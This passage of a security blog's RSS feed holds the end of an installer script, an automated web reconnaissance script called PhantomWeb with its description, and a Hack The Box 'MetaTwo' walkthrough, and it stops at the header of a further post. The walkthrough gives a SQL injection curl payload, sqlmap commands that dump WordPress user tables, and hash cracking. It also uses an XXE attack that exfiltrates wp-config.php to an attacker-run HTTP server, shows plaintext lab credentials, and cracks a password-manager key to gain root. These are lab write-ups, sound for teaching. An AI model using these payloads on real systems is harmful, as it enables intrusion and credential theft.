os.getenv(&quot;GOPATH&quot;, &quot;&quot;)<br>    if go_path:<br>        go_bin_path = os.path.join(go_path, &quot;bin&quot;)<br>        if os.path.isdir(go_bin_path):<br>            path_var += &quot;:&quot; + go_bin_path<br><br>    # Update the PATH variable<br>    if platform.system() == &quot;Windows&quot;:<br>        try:<br>            subprocess.run(f&#39;setx PATH &quot;{path_var}&quot;&#39;, shell=True, check=True)<br>            print_color(&quot;PATH variable updated successfully&quot;, Color.GREEN)<br>        except subprocess.CalledProcessError:<br>            print_color(&quot;Failed to update PATH variable&quot;, Color.RED)<br>    else:<br>        profile_file = &quot;&quot;<br>        if platform.system() == &quot;Linux&quot;:<br>            profile_file = &quot;~/.bashrc&quot;<br>        elif platform.system() == &quot;Darwin&quot;:<br>            profile_file = &quot;~/.bash_profile&quot;<br>        <br>        with open(os.path.expanduser(profile_file), &quot;a&quot;) as file:<br>            file.write(f&#39;\nexport PATH=&quot;{path_var}&quot;\n&#39;)<br><br>        print_color(&quot;PATH variable updated successfully&quot;, Color.GREEN)<br><br># Display a message indicating manual installation may be required<br>print_color(&quot;**************************************************&quot;, Color.GREEN)<br>print_color(&quot;************* TOOLS INSTALLATION SCRIPT **********&quot;, Color.GREEN)<br>print_color(&quot;**************************************************&quot;, Color.GREEN)<br>print_color(&quot;\nThis script is provided as a convenience, but it may not work on all systems or environments.&quot;, Color.YELLOW)<br>print_color(&quot;If the installation fails or you encounter any issues, please manually install the following tools:&quot;, Color.YELLOW)<br>for tool in tools:<br>    print(f&quot;- {tool}&quot;)<br>print(&quot;\nManual installation instructions can be found in the documentation.\n&quot;)<br><br># Install the tools<br>install_tools()<br><br># Configure the PATH variable<br>configure_path()<br><br>print_color(&quot;Installation and configuration complete.&quot;, Color.GREEN)</pre><p><strong>PhantomWeb </strong>is a powerful and comprehensive web reconnaissance and security testing tool designed to streamline the process of identifying vulnerabilities in web applications. By automating various tasks and leveraging a range of tools and techniques, PhantomWeb empowers security professionals and ethical hackers to efficiently assess the security of web applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*WqGOzmBCNKlLGKs-u77UcA.jpeg" /></figure><pre>import os<br>import subprocess<br>import re<br><br># Colors for text formatting<br>class Color:<br>    RED = &#39;\033[91m&#39;<br>    GREEN = &#39;\033[92m&#39;<br>    YELLOW = &#39;\033[93m&#39;<br>    RESET = &#39;\033[0m&#39;<br><br># Function to print colored text<br>def print_color(text, color):<br>    print(color + text + Color.RESET)<br><br>from termcolor import colored<br><br>name = &quot;Rahul Kumar&quot;<br>linkedin = &quot;@rahul-kumar8176&quot;<br><br>banner_text = &#39;&#39;&#39;<br>██████╗ ██╗  ██╗ █████╗ ███╗   ██╗████████╗ ██████╗ ███╗   ███╗██╗    ██╗███████╗██████╗ <br>██╔══██╗██║  ██║██╔══██╗████╗  ██║╚══██╔══╝██╔═══██╗████╗ ████║██║    ██║██╔════╝██╔══██╗<br>██████╔╝███████║███████║██╔██╗ ██║   ██║   ██║   ██║██╔████╔██║██║ █╗ ██║█████╗  ██████╔╝<br>██╔═══╝ ██╔══██║██╔══██║██║╚██╗██║   ██║   ██║   ██║██║╚██╔╝██║██║███╗██║██╔══╝  ██╔══██╗<br>██║     ██║  ██║██║  ██║██║ ╚████║   ██║   ╚██████╔╝██║ ╚═╝ ██║╚███╔███╔╝███████╗██████╔╝<br>╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝    ╚═════╝ ╚═╝     ╚═╝ ╚══╝╚══╝ ╚══════╝╚═════╝                                                                              <br>&#39;&#39;&#39;<br>colored_line = colored(&quot;-&quot; * 100, &quot;green&quot;)<br>colored_banner = colored(banner_text, &quot;green&quot;)<br>colored_name = colored(name, &quot;yellow&quot;)<br>colored_linkedin = colored(linkedin, &quot;blue&quot;)<br><br><br>print(colored_line)<br>print(colored_banner)<br>print(&quot;\t\t&quot; + colored_name)<br>print(&quot;\t\t&quot; + colored_linkedin)<br>print(colored_line)<br>print(&quot;\n&quot;)<br><br>url = input(&quot;Enter the URL: &quot;)<br><br># Create necessary directories if they don&#39;t exist<br>directories = [<br>    os.path.join(url, &quot;recon&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;scans&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;potential_takeovers&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;params&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;extensions&quot;)<br>]<br><br>for directory in directories:<br>    if not os.path.exists(directory):<br>        os.makedirs(directory)<br><br># Create empty files if they don&#39;t exist<br>files = [<br>    os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;, &quot;alive.txt&quot;),<br>    os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;)<br>]<br><br>for file in files:<br>    if not os.path.isfile(file):<br>        open(file, &quot;w&quot;).close()<br><br>print_color(&quot;[+] Harvesting subdomains with assetfinder...&quot;, Color.YELLOW)<br>subprocess.run([&quot;assetfinder&quot;, url], stdout=open(os.path.join(url, &quot;recon&quot;, &quot;assets.txt&quot;), &quot;w&quot;))<br><br>subprocess.run([&quot;cat&quot;, os.path.join(url, &quot;recon&quot;, &quot;assets.txt&quot;)], stdout=subprocess.PIPE)<br><br>subprocess.run([&quot;grep&quot;, url], stdin=open(os.path.join(url, &quot;recon&quot;, &quot;assets.txt&quot;)), stdout=open(os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;), &quot;a&quot;))<br><br>os.remove(os.path.join(url, &quot;recon&quot;, &quot;assets.txt&quot;))<br><br>print_color(&quot;[+] Double checking for subdomains with amass...&quot;, Color.YELLOW)<br>subprocess.run([&quot;amass&quot;, &quot;enum&quot;, &quot;-d&quot;, url], stdout=open(os.path.join(url, &quot;recon&quot;, &quot;f.txt&quot;), &quot;w&quot;))<br>subprocess.run([&quot;sort&quot;, &quot;-u&quot;, os.path.join(url, &quot;recon&quot;, &quot;f.txt&quot;)], stdout=open(os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;), &quot;a&quot;))<br>os.remove(os.path.join(url, &quot;recon&quot;, &quot;f.txt&quot;))<br><br>print_color(&quot;[+] Removing Duplicate Entries From the Final.txt&quot;, Color.YELLOW)<br>final_file = os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;)<br><br># Read the contents of the file<br>with open(final_file, &quot;r&quot;) as file:<br>    lines = file.readlines()<br><br># Remove duplicate entries<br>lines = list(set(lines))<br><br># Write the unique entries back to the file<br>with open(final_file, &quot;w&quot;) as file:<br>    file.writelines(lines)<br><br>print_color(&quot;[+] Probing for alive domains...&quot;, Color.YELLOW)<br>subprocess.run([&quot;cat&quot;, os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;)], stdout=subprocess.PIPE)<br>subprocess.run([&quot;httprobe&quot;, &quot;-s&quot;, &quot;-p&quot;, &quot;https:443&quot;], stdin=open(os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;), &quot;r&quot;), stdout=open(os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;, &quot;a.txt&quot;), &quot;w&quot;))<br><br>subprocess.run([&quot;sort&quot;, &quot;-u&quot;, os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;, &quot;a.txt&quot;)], stdout=open(os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;, &quot;alive.txt&quot;), &quot;w&quot;))<br><br>os.remove(os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;, &quot;a.txt&quot;))<br><br>print_color(&quot;[+] Checking for possible subdomain takeover...&quot;, Color.YELLOW)<br>potential_takeovers_file = os.path.join(url, &quot;recon&quot;, &quot;potential_takeovers&quot;, &quot;potential_takeovers.txt&quot;)<br>if not os.path.isfile(potential_takeovers_file):<br>    open(potential_takeovers_file, &quot;w&quot;).close()<br><br>subprocess.run([&quot;subjack&quot;, &quot;-w&quot;, os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;), &quot;-t&quot;, &quot;100&quot;, &quot;-timeout&quot;, &quot;30&quot;, &quot;-ssl&quot;,<br>                &quot;-c&quot;, &quot;/usr/share/subjack/fingerprints.json&quot;, &quot;-v&quot;, &quot;3&quot;, &quot;-o&quot;, potential_takeovers_file])<br><br>print_color(&quot;[+] Scanning for open ports...&quot;, Color.YELLOW)<br><br>with open(os.path.join(url, &quot;recon&quot;, &quot;httprobe&quot;, &quot;alive.txt&quot;), &quot;r&quot;) as file:<br>    urls = [line.strip() for line in file]<br><br># Remove &quot;http://&quot; or &quot;https://&quot; and strip the URLs<br>stripped_urls = list(set([url.replace(&quot;http://&quot;, &quot;&quot;).replace(&quot;https://&quot;, &quot;&quot;).split(&quot;:&quot;)[0] for url in urls]))<br><br># Perform Nmap scan for each unique URL<br>with open(os.path.join(url, &quot;recon&quot;, &quot;scans&quot;, &quot;nmapscan.txt&quot;), &quot;w&quot;) as output_file:<br>    for stripped_url in stripped_urls:<br>        # Perform Nmap scan on the stripped URL with script scan and version detection<br>        print_color(&quot;[*] Running Nmap scan for the URL &quot; + stripped_url, Color.GREEN)<br>        subprocess.run([&quot;nmap&quot;, &quot;-T4&quot;, &quot;-sC&quot;, &quot;-sV&quot;, &quot;-oN&quot;, &quot;-&quot;, stripped_url], stdout=output_file)<br><br>print_color(&quot;[+] Scraping wayback data...&quot;, Color.YELLOW)<br><br># Read the content of the final.txt file<br>final_txt_path = os.path.join(url, &quot;recon&quot;, &quot;final.txt&quot;)<br>with open(final_txt_path, &quot;rb&quot;) as f:<br>    final_txt_content = f.read()<br><br># Pass the content as input to the waybackurls command<br>wayback_output_path = os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;wayback_output.txt&quot;)<br>subprocess.run([&quot;waybackurls&quot;], input=final_txt_content, stdout=open(wayback_output_path, &quot;w&quot;))<br>lines = open(os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;wayback_output.txt&quot;)).readlines()<br>unique_lines = list(set(lines))<br>with open(os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;wayback_output.txt&quot;), &quot;w&quot;) as f:<br>    f.writelines(unique_lines)<br><br>print_color(&quot;[+] Pulling and compiling all possible params found in wayback data...&quot;, Color.YELLOW)<br>wayback_output_path = os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;wayback_output.txt&quot;)<br>lines = open(wayback_output_path).readlines()<br><br>params = []<br>param_regex = r&quot;\?([^=]+)=&quot;<br><br>for line in lines:<br>    matches = re.findall(param_regex, line)<br>    if matches:<br>        params.append(line.strip())<br><br>unique_params = list(set(params))<br><br>wayback_params_path = os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;params&quot;, &quot;wayback_params.txt&quot;)<br>with open(wayback_params_path, &quot;w&quot;) as f:<br>    f.write(&quot;\n&quot;.join(unique_params))<br><br>print_color(&quot;[+] Unique Parameters Found:&quot;, Color.GREEN)<br>for line in unique_params:<br>    print_color(line, Color.GREEN)<br><br>print_color(&quot;[+] Pulling and compiling js/php/aspx/jsp/json files from wayback output...&quot;, Color.YELLOW)<br>extensions = {<br>    &quot;js&quot;: &quot;js&quot;,<br>    &quot;html&quot;: &quot;jsp&quot;,<br>    &quot;json&quot;: &quot;json&quot;,<br>    &quot;php&quot;: &quot;php&quot;,<br>    &quot;aspx&quot;: &quot;aspx&quot;,<br>    &quot;png&quot;: &quot;png&quot;<br>}<br><br>for line in lines:<br>    ext = line.rsplit(&quot;.&quot;, 1)[-1].strip()<br>    if ext in extensions:<br>        ext_file = os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;extensions&quot;, extensions[ext] + &quot;.txt&quot;)<br>        with open(ext_file, &quot;a&quot;) as f:<br>            f.write(line)<br><br>for ext in extensions.values():<br>    temp_file = os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;extensions&quot;, ext + &quot;1.txt&quot;)<br>    final_file = os.path.join(url, &quot;recon&quot;, &quot;wayback&quot;, &quot;extensions&quot;, ext + &quot;.txt&quot;)<br><br>    # Check if the temporary file exists before attempting to remove it<br>    if os.path.exists(temp_file):<br>        subprocess.run([&quot;sort&quot;, &quot;-u&quot;, temp_file], stdout=open(final_file, &quot;w&quot;))<br>        os.remove(temp_file)</pre><p>The core functionality of PhantomWeb revolves around subdomain harvesting, live domain probing, open port scanning, subdomain takeover detection, Wayback data analysis, parameter extraction, file compilation, and automation. Let’s explore these features in detail:</p><ol><li><strong>Subdomain Harvesting</strong>: PhantomWeb utilizes tools like Assetfinder and Amass to automatically gather a comprehensive list of subdomains associated with a target website. This process ensures that no potential target is left undiscovered.</li><li><strong>Live Domain Probing</strong>: To ensure accurate results, PhantomWeb verifies the availability of subdomains using Httprobe. This step identifies live domains that can be further explored for vulnerabilities.</li><li><strong>Open Port Scanning</strong>: By performing Nmap scans, PhantomWeb detects open ports and services on target domains. This capability aids in the identification of potential entry points and security weaknesses.</li><li><strong>Subdomain Takeover Detection</strong>: PhantomWeb employs Subjack to detect potential subdomain takeover vulnerabilities. This feature alerts users to critical security risks that could be exploited by malicious actors.</li><li><strong>Wayback Data Analysis</strong>: PhantomWeb scrapes data from the Wayback Machine, uncovering hidden content, potential sensitive information, and historical web pages. This valuable insight helps identify security issues and misconfigurations.</li><li><strong>Parameter Extraction</strong>: By extracting unique parameters from Wayback data, PhantomWeb facilitates the identification of potential injection or misconfiguration vulnerabilities. This feature assists in comprehensive security testing.</li><li><strong>File Compilation</strong>: PhantomWeb compiles JavaScript, PHP, ASPX, JSP, and JSON files from Wayback data. This functionality allows security professionals to manually inspect and analyze potential vulnerabilities or weaknesses.</li><li><strong>User-Friendly Interface</strong>: PhantomWeb offers a user-friendly command-line interface that guides users through the entire reconnaissance and testing process. This intuitive interface ensures a smooth experience and effective utilization of the tool.</li><li><strong>Automation and Efficiency</strong>: By automating time-consuming tasks, PhantomWeb significantly reduces manual effort and enhances efficiency in identifying vulnerabilities. This feature allows security professionals to conduct thorough assessments in less time.</li><li><strong>Open-Source and Extensible</strong>: PhantomWeb is an open-source tool, encouraging community contributions and allowing for customization and extension to meet specific testing requirements. This flexibility ensures that the tool remains up to date and adaptable to evolving security challenges.</li></ol><p>In conclusion, PhantomWeb is a powerful web reconnaissance and security testing tool that simplifies the process of identifying vulnerabilities in web applications. Its comprehensive features, user-friendly interface, and automation capabilities make it an invaluable asset for security professionals and ethical hackers in their mission to enhance web application security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b669ec94848c" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/automate-web-reconnaissance-and-security-testing-with-phantomweb-b669ec94848c">Automate Web Reconnaissance and Security Testing with PhantomWeb</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACK THE BOX — MetaTwo WALKTHROUGH]]></title>
            <link>https://systemweakness.com/hack-the-box-metatwo-walkthrough-b210bc78e5d4?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/b210bc78e5d4</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Sat, 20 May 2023 14:20:59 GMT</pubDate>
            <atom:updated>2023-05-25T13:48:09.032Z</atom:updated>
            <content:encoded><![CDATA[<h3>HACK THE BOX — MetaTwo WALKTHROUGH</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VYmzofgyB6K4Rriu.png" /></figure><p>In this write up we’re going to solve a box on hack the box called “MetaTwo”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F16247866&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fmeta-gane-rock-and-roll-rock-on-carrera-gif-16247866&amp;image=https%3A%2F%2Fmedia.tenor.com%2FFIYmzfJQ-noAAAAC%2Fmeta-gane.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/b30a893915bea153d171fee8145057c7/href">https://medium.com/media/b30a893915bea153d171fee8145057c7/href</a></iframe><p>so let’s start with the Nmap scan.</p><pre>nmap -sC -sV 10.10.11.186</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*iOlKMMzqtcNaiPbW.png" /></figure><p>so we got 3 ports open 21 (FTP), 22 (ssh), and 80 (HTTP)</p><p><em>I started with FTP but no luck there.</em></p><p>so let’s enumerate the webserver let’s make a host enter in our etc/hosts file.</p><pre>echo ‘10.10.11.186 metapress.htb’ &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WOWM_R_hrQMgahvt.png" /></figure><p>It’s a WordPress site and from wappalyzer, we can see that. it is working on <strong>WordPress 5.6.2.</strong></p><p>also, there’s a page called events</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*H_xzNHE9Tv-E2GmP.png" /></figure><p>When we see that page source we can see that there is a plugin used</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JJQWm-cNmoJySxis.png" /></figure><p><strong>bookpress ver1.0.10</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*6Jg5eI4k_9T6obGH.png" /></figure><p>this can also be seen in the <strong>/admin-ajax.php</strong> request when we load <strong>/events</strong> page</p><p>a quick google about this plugin</p><p><a href="https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357">https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357</a></p><p><a href="https://vulners.com/wpexploit/WPEX-ID:388CD42D-B61A-42A4-8604-99B812DB2357">BookingPress &amp;lt; 1.0.11 - Unauthenticated SQL Injection - exploit...</a></p><p>found that this plugin is vulnerable to SQL injection.</p><pre>curl -i &#39;http://metapress.htb/wp-admin/admin-ajax.php&#39; \<br>  --data &#39;action=bookingpress_front_get_category_services&amp;_wpnonce=831783a79b&amp;category_id=1&amp;total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(5)))iyUp)-- ZmjH&#39;</pre><p>NOTE: at first you will see this error</p><p>“{“variant”:”error”,”title”:”Error”,”msg”:”Sorry, Your request can not process due to security reason.”}”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*lrJB-LkTeorm2Hrf.png" /></figure><p>then go to /events page and find a request from admin-ajax.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*OLMnx7-CEhKR8b4m.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/0*fqlik6n3ENKK_s2D.png" /></figure><p>then copy the value of <strong>_wpnonce parameter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/0*85CgYs6jFnhDpk4a.png" /></figure><p>replace that value in your request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*OxbSTw2U4watiTsI.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8IbRjvpbSUnr7flx.png" /></figure><p>so we get our response after 5 sec.</p><p>now we know that we got a SQL injection let’s switch to sqlmap and craft our request.</p><pre>sqlmap -u http://metapress.htb/wp-admin/admin-ajax.php --data &#39;action=bookingpress_front_get_category_services&amp;_wpnonce=831783a79b&amp;category_id=1&amp;total_service=1&#39; -p total_service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XlWHvNKs_Dvz5qiN.png" /></figure><p>so now that sqlmap knows that it is vulnerable let’s enumerate the database.</p><p>DUMP DATABASE</p><pre>sqlmap -u http://metapress.htb/wp-admin/admin-ajax.php — data ‘action=bookingpress_front_get_category_services&amp;_wpnonce=831783a79b&amp;category_id=1&amp;total_service=1’ -p total_service — db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/0*JHoLibOf2DU6hjjf.png" /></figure><p>DUMP tables in the Database blog</p><pre>sqlmap -u http://metapress.htb/wp-admin/admin-ajax.php --data &#39;action=bookingpress_front_get_category_services&amp;_wpnonce=831783a79b&amp;category_id=1&amp;total_service=1&#39; -p total_service -D blog --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/0*h8ZpQ4u-sKQLvN4x.png" /></figure><p>wp_users table data Dumping</p><pre>sqlmap -u http://metapress.htb/wp-admin/admin-ajax.php — data ‘action=bookingpress_front_get_category_services&amp;_wpnonce=831783a79b&amp;category_id=1&amp;total_service=1’ -p total_service -D blog -T wp_users — dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*00RaD9IYKKSbFz_Q.png" /></figure><p>as we can see there are 2 users admin and manager we got their password hash</p><p>let’s crack it using<em> john the ripper</em></p><p>copy both the hash into a file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/0*A2Ead0DMrLm80-U8.png" /></figure><pre>john — wordlist=Desktop/rockyou.txt hash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Z9nc-ErQFiCTU5th.png" /></figure><p>so we got the password for the manager user</p><p>log in using these credentials @ <a href="http://metapress.htb/wp-login.php">http://metapress.htb/wp-login.php</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FxUNd9YFMp7ooTihJiU%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fheyarnold-hey-arnold-nicksplat-xUNd9YFMp7ooTihJiU&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMTJjMDFmMjhjZGFjYTY5YmJjZWM0NDFjZDZhM2IwMjAwODJlYTk3OSZjdD1n%2FxUNd9YFMp7ooTihJiU%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/68a93046ddd250fffed01200f6b3c036/href">https://medium.com/media/68a93046ddd250fffed01200f6b3c036/href</a></iframe><p>well a long time ago in the starting we discovered that the website is using</p><p><strong>WordPress 5.6.2.</strong></p><p>if we do a quick google search on this.</p><p><a href="https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/">WordPress 5.6.x Multiple Vulnerabilities (5.6 - 5.6.2)</a></p><p><a href="https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/">https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/</a></p><p>it has an XXE Vulnerability but it requires some type of user access to the admin console.</p><p>so now we have that as manager.</p><p>we need to create two files</p><ol><li>payload.wav</li><li>evil.dtd</li></ol><p>Payload.wav</p><p>in the payload.wav file we</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kGrhybhbArN7k41a.png" /></figure><p>Evil.dtd file</p><p>we can get wp-config.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fXbS0CWyyzXgP8Xi.png" /></figure><p>Then we need to start a PHP Or python HTTP server to that we can get an HTTP request</p><p>I’ll go with python</p><pre>python3 -m http.server --bind &lt;your ip address&gt; &lt;port number&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/0*B26boXjtXbvRYKry.png" /></figure><p>now we upload our file on WordPress</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*j4Lc3bv0N8Ok7UVD.png" /></figure><p>as we upload our payload.wav file we will get a response back</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*n0t64-8qtEHP4Pps.png" /></figure><p>let’s decode this string</p><pre>echo &#39;&lt;base64 encoded string&gt;&#39; | base64 -d &gt; &lt;output file name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*wnUTpmgqHULWJEpc.png" /></figure><p>in the output file, we can see that we got FTP credentials metapress.htb:9NYS_ii@FyL_p5M2NvJ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/0*FY-HwdnzNMCzo-2n.png" /></figure><pre>ftp metapress.htb</pre><p>and then enter the username and password</p><p>there are two directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/0*b8hpdA2kX8bggU4C.png" /></figure><p>download the send_email.php on your local host</p><pre>get send_email.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/0*7nzArA5DjCEoyppy.png" /></figure><p>we got a user credential in this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/0*SecKoq1ScOdfXrUU.png" /></figure><p>use these to log in on the server through ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Tk0PpCDIT2vAi3JH.png" /></figure><p>so we got our first shell on the server and our user flag.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F17426799&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fminions-yay-happy-nice-cheering-gif-17426799&amp;image=https%3A%2F%2Fmedia.tenor.com%2FxUG50Jtht7QAAAAC%2Fminions-yay.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/ca3acabf9258c82e4f79496f0f779195/href">https://medium.com/media/ca3acabf9258c82e4f79496f0f779195/href</a></iframe><h3>PRIVILEGE ESCALATION</h3><p>we got a hidden folder in the home directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*8iQwgmlCoOTLAOcG.png" /></figure><blockquote><em>Passpie is a command line tool to manage passwords from the terminal with a colorful and configurable interface. Use a master passphrase to decrypt login credentials, copy passwords to clipboard, syncronize with a git repository, check the state of your passwords, and more.</em></blockquote><pre>passpie</pre><p>we can see that the password for ssh is stored but is encrypted with a passphrase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*p9C3GxBY6297Wirs.png" /></figure><p>the private key for the shh key is stored in the .key files as it encrypts the ssh key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/0*YUHvCnwPU30lL3qE.png" /></figure><p>just copy the private key block from the .keys file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*qA7husPCrsUJIES8.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*Xc_BTkLjz_J6QS8v.png" /></figure><pre>gpg2john hash &gt; outputfile</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/0*Gpa6qsW3-KioN20t.png" /></figure><pre>john --wordlist=/Desktop/rockyou.txt crackthehash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*Pf_xckW6c_TZ2gaW.png" /></figure><p>so we got out passpie password manager — password</p><pre>passpie export output.txt</pre><p>so let’s export the password from the password manager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/0*Jo_73V7wnVdmxDCj.png" /></figure><p>we got the root password login as the root user and get your root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/0*Jz4UF51UXitpa24u.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F15908897&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Ftrip-fall-down-owned-gif-15908897&amp;image=https%3A%2F%2Fmedia.tenor.com%2FObygqvC3Q5gAAAAC%2Ftrip-fall-down.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/961cd33622bca7061d5510efe89a3f11/href">https://medium.com/media/961cd33622bca7061d5510efe89a3f11/href</a></iframe><p><strong>That’s it! Hope you like this write-up! Thanks for reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b210bc78e5d4" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hack-the-box-metatwo-walkthrough-b210bc78e5d4">HACK THE BOX — MetaTwo WALKTHROUGH</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Interface — Hack The Box]]></title>
            <link>https://systemweakness.com/interface-hack-the-box-c3280bbc0d6f?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3280bbc0d6f</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Wed, 17 May 2023 12:05:38 GMT</pubDate>
            <atom:updated>2023-05-23T15:22:13.044Z</atom:updated>
